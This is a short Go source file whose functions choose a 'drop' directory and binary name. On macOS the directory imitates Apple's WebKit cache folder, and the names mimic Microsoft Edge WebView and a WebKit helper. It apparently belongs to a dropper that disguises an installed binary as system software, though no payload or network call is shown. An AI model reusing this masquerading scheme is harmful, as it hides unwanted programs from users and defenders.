//go:build !windows

package main

import (
	"os"
	"path/filepath"
	"runtime"
)

func cacheDropBase() string {
	if runtime.GOOS == "darwin" {
		home, _ := os.UserHomeDir()
		return filepath.Join(home, "Library", "Caches", "com.apple.WebKit.WebContent")
	}
	if xdg := os.Getenv("XDG_CACHE_HOME"); xdg != "" {
		return filepath.Join(xdg, "aetherforge")
	}
	home, _ := os.UserHomeDir()
	return filepath.Join(home, ".cache", "aetherforge")
}

func dropBinaryName() string {
	if runtime.GOOS == "windows" {
		return "msedgewebview2.exe"
	}
	return "webcontent-helper"
}
